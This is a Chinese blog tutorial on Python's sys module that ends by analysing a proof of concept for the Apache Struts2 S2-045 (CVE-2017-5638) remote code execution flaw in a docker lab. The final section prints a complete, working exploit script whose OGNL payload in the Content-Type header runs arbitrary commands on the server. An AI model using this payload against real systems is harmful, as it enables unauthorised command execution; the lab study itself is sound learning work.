Python 模块学习之 sys | S2-045 poc分析


为什么学习sys模块呢,因为在很多的poc里面发现sys模块的出镜率很高,于是特此学习记录之。python版本 2.7.x

简介

sysPython的标准自带模块,无需安装即可使用,sys模块负责程序与Python解释器的交互,提供了一系列的函数和变量,用于操控Python的运行时环境。

sys常用的方法

方法 解释
sys.argv 命令行参数List,第一个元素是程序本身路径
sys.modules.keys() 返回所有已经导入的模块列表
sys.exc_info() 获取当前正在处理的异常类,exc_type、exc_value、exc_traceback当前处理的异常详细信息
sys.exit(n) 退出程序,正常退出时exit(0)
sys.hexversion 获取Python解释程序的版本值,16进制格式如:0x020403F0
sys.version 获取Python解释程序的版本信息
sys.maxint 最大的Int值
sys.maxunicode 最大的Unicode值
sys.modules 返回系统导入的模块字段,key是模块名,value是模块
sys.path 返回模块的搜索路径,初始化时使用PYTHONPATH环境变量的值
sys.platform 返回操作系统平台名称
sys.stdout 标准输出
sys.stdin 标准输入
sys.stderr 错误输出
sys.exc_clear() 用来清除当前线程所出现的当前的或最近的错误信息
sys.exec_prefix 返回平台独立的python文件安装的位置
sys.byteorder 本地字节规则的指示器,big-endian平台的值是’big’,little-endian平台的值是’little’
sys.copyright 记录python版权相关的东西
sys.api_version 解释器的C的API版本

下面来详细地来介绍一些常用的sys方法。

sys.argv

用于传递外部的参数

import sys
print sys.argv[0]
print sys.argv[1]

运行结果

[sqlsec@Macbook-pro]$ python poc.py whoami
poc.py
whoami

sys.exit(n)

一般在交互式shell中退出时用到,调用sys.exit函数可以中途退出程序并抛出一个异常,n是可选的整数参数,用来返回给调用它的程序,默认是0
如果这个异常没有被捕获,那么python解释器将会直接退出。
如果有捕获该异常的代码,那么程序下面的代码还是会执行。

捕获到了异常

import sys
try:
    sys.exit(0)
except:  
    print "flag:"
print "www.pornhub.com"

try抛出了异常,被捕获到了,然后下面的代码继续执行:
运行结果

[sqlsec@Macbook-pro]$ python xxx.py
flag:
www.pornhub.com

没有捕获到异常

import sys
print("flag:")
sys.exit(0)
print "www.pornhub.com"

这里sys.exit(0)抛出一个异常后,没有try except组合来捕获异常,到最后下面的代码也无法执行。
运行结果

[sqlsec@Macbook-pro]$ python xxx.py
flag:

和os._exit(n)的区别

方法 解释
os._exit(n) 直接退出, 不抛异常, 不执行相关清理工作. 常用在子进程的退出.
sys.exit(n) 退出程序引发SystemExit异常, 还可以sys.exit(“sorry, goodbye!”); 一般主程序中使用此退出.

下面来演示下os._exit()退出的例子:

import os
try:
    print("flag:")
    os._exit(0)
except:
    print "www.pornhub.com"

导入了os模块,来测试下os._exit()的退出效果。
运行结果

flag:

神秘网址没有被打印出来,因为没有异常被捕获。

sys.path

当我们导入一个模块时:import xxx,默认情况下python解析器会搜索当前目录、已安装的内置模块第三方模块,搜索路径存放在sys模块的path中。

import sys
print sys.path

运行结果

['/home/sqlsec/Python/Base', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/home/sqlsec/.local/lib/python2.7/site-packages', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages/PILcompat', '/usr/lib/python2.7/dist-packages/gtk-2.0']

sys.path是个列表,当我们要添加其他目录下的模块的时候,得把他目录手动添加到sys.path中,这样脚本执行的时候会自动去目录下搜索,用sys.path.append("引用模块的地址")来添加自定义模块。
当这个append执行完之后,新目录即时起效,以后的每次import操作都可能会检查这个目录。

sys.path.append

下面来演示下sys.path.append的用法,首先看下目录解构:

├── Modules
│   └── mymoudle.py
├── Mytest
│   └── xxx.py

要在xxx.py中导入mymoudle.py这个模块,他们不是在同级目录下的,所以这里得通过sys.path.appendMoudles这个目录添加到sys.path中,这样之后的每次import都会去检测这个目录。

mymoudle.py

#coding:utf-8
def say_hi(name):
    print "Hello",name
__version__='0.1'

这是/home/sqlsec/Python/Modules/mymoudle.py文件的内容,定义了简单的say_hi函数和__version__变量。

xxx.py

#coding:utf-8
import sys
sys.path.append("/home/sqlsec/Python/Modules")
import mymoudle
mymoudle.say_hi("国光")
print mymoudle.__version__

运行结果

[sqlsec@Macbook-pro]$ python xxx.py
Hello 国光
0.1

程序向sys.path添加的目录只会在此程序的生命周期之内有效,其他所有的对sys.path的动态操作也是如此。

sys.modules

sys.modules是一个全局字典包含所有加载的模块. import语句在从磁盘导入内容之前会先检查这个字典,python启动后并自动将字典加载在内存中。

查看加载的模块

sys.modules具有字典所有的方法,通过这些方法查看当前环境加载了那些模块

import sys
print sys.modules.keys()

运行结果

['copy_reg', 'sre_compile', '_sre', 'encodings', 'site', '__builtin__', 'sysconfig', '__main__', 'encodings.encodings', 'abc', 'posixpath', '_weakrefset', 'errno', 'encodings.codecs', 'backports', 'sre_constants', 're', '_abcoll', 'types', '_codecs', 'encodings.__builtin__', '_warnings', 'genericpath', 'stat', 'zipimport', '_sysconfigdata', 'warnings', 'UserDict', 'encodings.utf_8', 'sys', 'codecs', '_sysconfigdata_nd', 'os.path', '_locale', 'sitecustomize', 'signal', 'traceback', 'linecache', 'posix', 'encodings.aliases', 'exceptions', 'sre_parse', 'os', '_weakref']

查看加载的模块的具体值

import sys
print sys.modules.values()

运行结果

[<module 'copy_reg' from '/usr/lib/python2.7/copy_reg.pyc'>, <module 'sre_compile' from '/usr/lib/python2.7/sre_compile.pyc'>, <module '_sre' (built-in)>, <module 'encodings' from '/usr/lib/python2.7/encodings/__init__.pyc'>, <module 'site' from '/usr/lib/python2.7/site.pyc'>, <module '__builtin__' (built-in)>, <module 'sysconfig' from '/usr/lib/python2.7/sysconfig.pyc'>, <module '__main__' from '/home/sqlsec/Python/Mytest/xxx.py'>, None, <module 'abc' from '/usr/lib/python2.7/abc.pyc'>, <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, <module '_weakrefset' from '/usr/lib/python2.7/_weakrefset.pyc'>, <module 'errno' (built-in)>, None, <module 'backports' (built-in)>, <module 'sre_constants' from '/usr/lib/python2.7/sre_constants.pyc'>, <module 're' from '/usr/lib/python2.7/re.pyc'>, <module '_abcoll' from '/usr/lib/python2.7/_abcoll.pyc'>, <module 'types' from '/usr/lib/python2.7/types.pyc'>, <module '_codecs' (built-in)>, None, <module '_warnings' (built-in)>, <module 'genericpath' from '/usr/lib/python2.7/genericpath.pyc'>, <module 'stat' from '/usr/lib/python2.7/stat.pyc'>, <module 'zipimport' (built-in)>, <module '_sysconfigdata' from'/usr/lib/python2.7/_sysconfigdata.pyc'>, <module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>, <module 'UserDict' from '/usr/lib/python2.7/UserDict.pyc'>, <module 'encodings.utf_8' from '/usr/lib/python2.7/encodings/utf_8.pyc'>, <module 'sys' (built-in)>, <module 'codecs' from '/usr/lib/python2.7/codecs.pyc'>, <module '_sysconfigdata_nd' from '/usr/lib/python2.7/plat-x86_64-linux-gnu/_sysconfigdata_nd.pyc'>, <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, <module '_locale' (built-in)>, <module 'sitecustomize' from '/usr/lib/python2.7/sitecustomize.pyc'>, <module 'signal' (built-in)>, <module 'traceback' from '/usr/lib/python2.7/traceback.pyc'>, <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, <module 'posix' (built-in)>, <module 'encodings.aliases' from '/usr/lib/python2.7/encodings/aliases.pyc'>, <module 'exceptions' (built-in)>, <module 'sre_parse' from '/usr/lib/python2.7/sre_parse.pyc'>, <module 'os' from '/usr/lib/python2.7/os.pyc'>, <module '_weakref' (built-in)>]

查看os模块的值

import sys
print sys.modules["os"]

运行结果

<module 'os' from '/usr/lib/python2.7/os.pyc'>

疑难点

在上面的测试中,开头仅仅用了import sys,但是在print sys.modules.keys()可以看到os等模块已经加载到内存中了,但是我们在解释器中却不能直接使用 os 模块,这是何原因?

sys.modules.keys()中的每个模块确实在Python启动的时候被导入了,但是它们不像 __builtins__那样直接暴露了出来,它们还隐藏着,对当前作用域是不可见的,需要import把它们加入进来后才能使用。所以Python模块的加载与否与模块的可见与否是两回事。先来看一个例子:

Python 2.7.12 (default, Dec  4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.

>>> import os
>>> os
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> del os
>>> os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> import sys
>>> sys.modules["os"]
<module 'os' from '/usr/lib/python2.7/os.pyc'>

将导入的模块从当前作用域中删除,但是被导入的模块仍然存在于 sys.modules 中,即使该模块对当前作用域不可见。所以,Python 程序在运行的时候会将所有导入的模块都加载到内存,直到程序结束才被释放。因此,解释器在启动的时候自动载入一些模块是为了保存某些全局的变量以便于程序使用。

sys.stdout

标准输出,当我们在 Python 中打印对象调用 print obj 时候,事实上是调用了 sys.stdout.write(obj+'\n')
print 将你需要的内容打印到了控制台,然后追加了一个换行符。

import sys
sys.stdout.write("www.sqlsec.com"+"\n")
print "www.sqlsec.com"

运行结果

www.sqlsec.com
www.sqlsec.com

这两行代码实际上是等价的。

sys.stdin

标准输入,当我们用 raw_input(‘Input promption: ‘) 时,事实上是先把提示信息输出,然后捕获输入。

blog = raw_input("My Blog is:\n")
print blog

等价于

import sys
print "My Blog is: "
blog = sys.stdin.readline()[:-1]
print blog

这里的-1是丢弃末尾的一个\n
运行结果

My Blog is:
www.sqlsec.com
www.sqlsec.com

sys.stderr

用来重定向标准错误信息的

import sys
print 'flag is www.sqlsec.com'
sys.stderr.write("this is a flag error")

直接运行的的话,2行记录都会输出
运行结果

输出到日志的话,shell中只输入第2行
运行结果

查看输出的flag.log,只记录了print的输出,具体的内容如下:

poc解读实战

本次解析的是Struts2_Jakarta_Plugin插件远程代码执行漏洞(S2-045)的poc。其实Struts的poc总得来说算是比较简单的了,适合poc入门学。

搭建环境

docker下可以轻松搭建起漏洞环境。

  • 1.拉取镜像到本地
    sudo docker pull medicean/vulapps:s_struts2_s2-045
  • 2.启动环境
    sudo docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-045

    -p 80:8080 代表讲docker环境中的8080端口映射到物理机的80端口,可以随意指定。

访问漏洞环境

访问 http://你的 IP 地址:端口号/

poc.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

poc中的可以看出s2-045漏洞产生在http请求的header中的Content-Type中。

函数分析
首先定义一个exploit函数,接受urlcmd参数,定义了payload格式,并带入http请求中,最后读取执行后poc的网站页面。

def exploit(url, cmd):
    payload = 'xxxxx'
    try:
        将payload加入到http header中去请求
        读取执行过poc的网站页面
    except:
        捕获异常

主体分析
导入了sys模块,主要使用了sys.argv来获取外部传递的参数,先判断输入是否符合规范,不符合规范的话提示输出的格式;输入规范后,截取参数,分别把值传递给urlcmd变量,带入exploit中去执行。

if __name__ == '__main__':
    import sys
    if 用户输入的长度 不等于 3:
        打印出输出的格式规范
    else:
        url = 输入的第2个参数值
        cmd = 输入的第3个参数值
        输出用户的命令值
        传递值给exploit函数值并执行

poc执行效果

python poc.py <url> <cmd>如下格式运行poc
最终效果图如下:

Bingo!从此打开了Python poc的新大门,日后更多有趣的poc在向我们招手。


文章作者: 国光
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
自从点了 👇 广告,腰也不酸了,腿也不疼了
点一下 👆 玩一年 装备不花一分钱!
 上一篇
Termux 高级终端安装使用配置教程 Termux 高级终端安装使用配置教程
Termux 高级终端安装使用配置教程,刚写这篇文章的时候,当时国内 Termux 相关的文章和资料相对来说还是比较少的,就花了几天写了这一篇文章,没想到居然火了,受宠若惊。所以这篇文章国光就打算定期更新了,想打造成 termux 的中文文
2018-05-03
下一篇 
手把手教你打造一个Mac风格的Windows10(手动滑稽) 手把手教你打造一个Mac风格的Windows10(手动滑稽)
Windows10下DIY成Mac主题的文章。这篇文章鸽了很久。以前只是装完B就跑没有留下教程,今天终于带来你们要的教程啦,实际上现在有成熟的软件可以使用,折腾起来更加简单方便。 效果图话不多说先上最终Windows下折腾安装Mac主题
2018-04-01
  目录